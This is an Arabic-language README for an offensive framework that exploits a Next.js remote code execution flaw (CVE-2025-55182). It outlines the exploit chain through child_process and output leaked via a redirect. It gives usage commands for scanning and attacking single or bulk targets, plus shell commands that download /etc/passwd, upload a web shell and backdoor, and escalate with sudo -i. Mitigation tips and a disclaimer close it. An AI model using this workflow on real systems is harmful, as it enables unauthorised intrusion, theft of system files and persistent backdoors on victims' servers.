🚨 ‏React2Shell - إطار عمل استغلال CVE-2025-55182

إطار عمل استغلال متقدم لـ CVE-2025-55182 (تنفيذ كود عن بُعد في Next.js)

المؤلف: opsecramdan

---

📚 جدول المحتويات

• نظرة عامة
• تفاصيل الثغرة
• الميزات
• المتطلبات
• التثبيت
• الاستخدام
• الصدفة التفاعلية
• ملفات الإخراج
• التأثير
• التخفيف
• القيود
• إخلاء المسؤولية

---

📌 نظرة عامة

React2Shell هو إطار عمل استغلال لتحديد واستغلال الثغرة CVE-2025-55182 في التطبيقات المبنية على Next.js.

تم تصميم هذه الأداة كـ مجموعة أدوات هجومية شاملة تتضمن:

• تعداد النطاقات الفرعية
• مسح الثغرات
• محرك الاستغلال
• صدفة عن بُعد تفاعلية

---

🔍 تفاصيل الثغرة

• CVE ID: CVE-2025-55182
• النوع: تنفيذ كود عن بُعد (RCE)
• المنصة: Next.js
• متجه الهجوم: طلب multipart/form-data ضار
• التأثير: تنفيذ أوامر عشوائية

🧠 السبب الجذري

تستغل هذه الثغرة الآلية الداخلية لـ Next.js بالطريقة التالية:

1. حقن الحمولة في الطلب
2. استدعاء: process.mainModule.require('child_process')
3. تنفيذ أمر نظام التشغيل
4. ترميز الإخراج في Base64
5. تسريب النتيجة عبر إعادة التوجيه (/login?a=)

---

⚙️ الميزات

🔎 تعداد النطاقات الفرعية

• فحص DNS + HTTP
• قائمة كلمات مدمجة
• دعم قائمة كلمات مخصصة
• حفظ النتيجة تلقائيًا

🧪 ماسح الثغرات

• اختبار متعدد النقاط النهائية:
• /
• /api
• /api/auth
• /_next
• /admin
• /dashboard
• تحليل الرؤوس والاستجابات
• تقليل النتائج الإيجابية الخاطئة

💣 محرك الاستغلال

• توليد تلقائي للحمولة
• تنفيذ مشفر بـ Base64
• استخراج الإخراج عبر إعادة التوجيه

🖥️ الصدفة التفاعلية

• تنفيذ أوامر عن بُعد
• جلسة دائمة
• تتبع الدليل

📂 عمليات الملفات

• رفع ملف
• تنزيل ملف
• إنشاء ملف

👑 وضع الجذر

• تنفيذ sudo -i
• محاكاة رفع الصلاحيات

---

📦 المتطلبات

• بايثون 3.x

تثبيت التبعيات: pip install requests dnspython

---

📥 التثبيت

1. استنساخ المستودع

git clone https://github.com/yourusername/react2shell-cve-2025-55182.git

2. ادخل إلى المجلد

cd react2shell-cve-2025-55182

3. تشغيل الأداة

python3 react2shell.py

---

🚀 الاستخدام

🎯 هدف واحد

python3 react2shell.py -u https://target.com

بدون بروتوكول:

python3 react2shell.py -u target.com

---

📄 أهداف متعددة

python3 react2shell.py -f targets.txt

مثال لمحتوى targets.txt:

https://target1.com http://target2.com:3000 target3.com

---

🌐 الوضع الكامل (استطلاع + مسح + استغلال)

python3 react2shell.py -d example.com

التدفق:

1. تعداد النطاقات الفرعية
2. مسح الثغرات
3. الاستغلال (اختياري)

---

📚 قائمة كلمات مخصصة

python3 react2shell.py -d example.com -w wordlist.txt

---

🐞 وضع التصحيح

python3 react2shell.py -d example.com --debug

---

🖥️ الصدفة التفاعلية

بعد نجاح الاستغلال، ستحصل على وصول إلى الصدفة.

الأوامر الأساسية

whoami
id
uname -a
pwd
ls -lah

---

⚙️ الأوامر الخاصة

---

📂 رفع ملف

.upload shell.php /tmp/shell.php

---

📥 تنزيل ملف

.download /etc/passwd

---

📄 إنشاء ملف

.create /tmp/test.txt

---

🔄 سير عمل مثال

1. مسح النطاق

python3 react2shell.py -d example.com

2. تحديد الهدف القابل للاستغلال

3. الدخول إلى الصدفة

whoami

4. رفع الحمولة

.upload backdoor.sh /tmp/backdoor.sh

---

📁 ملفات الإخراج

ستقوم الأداة بتوليد:

• subdomains_*.txt
• vulnerable_*.txt
• output_*.txt

---

⚠️ التأثير

إذا تم استغلالها بنجاح:

• تنفيذ أوامر عن بُعد
• الوصول إلى الملفات الحساسة
• رفع باب خلفي
• وصول دائم
• رفع الصلاحيات

---

🛡️ التخفيف

• تحديث Next.js إلى أحدث إصدار
• تقييد النقاط النهائية الداخلية
• التحقق من الإدخال بدقة
• استخدام WAF (OWASP CRS)
• مراقبة النشاطات الشاذة

---

⚠️ إخلاء المسؤولية

صُممت هذه الأداة فقط لـ:

• التعلم
• البحث
• اختبار الاختراق المصرح به

ممنوع استخدامها في الأنشطة غير القانونية.

---

⭐ ملاحظات

يوضح هذا المشروع:

• مهارة استغلال متقدمة
• فهم الدواخل الداخلية لـ Next.js
• محاكاة هجمات العالم الحقيقي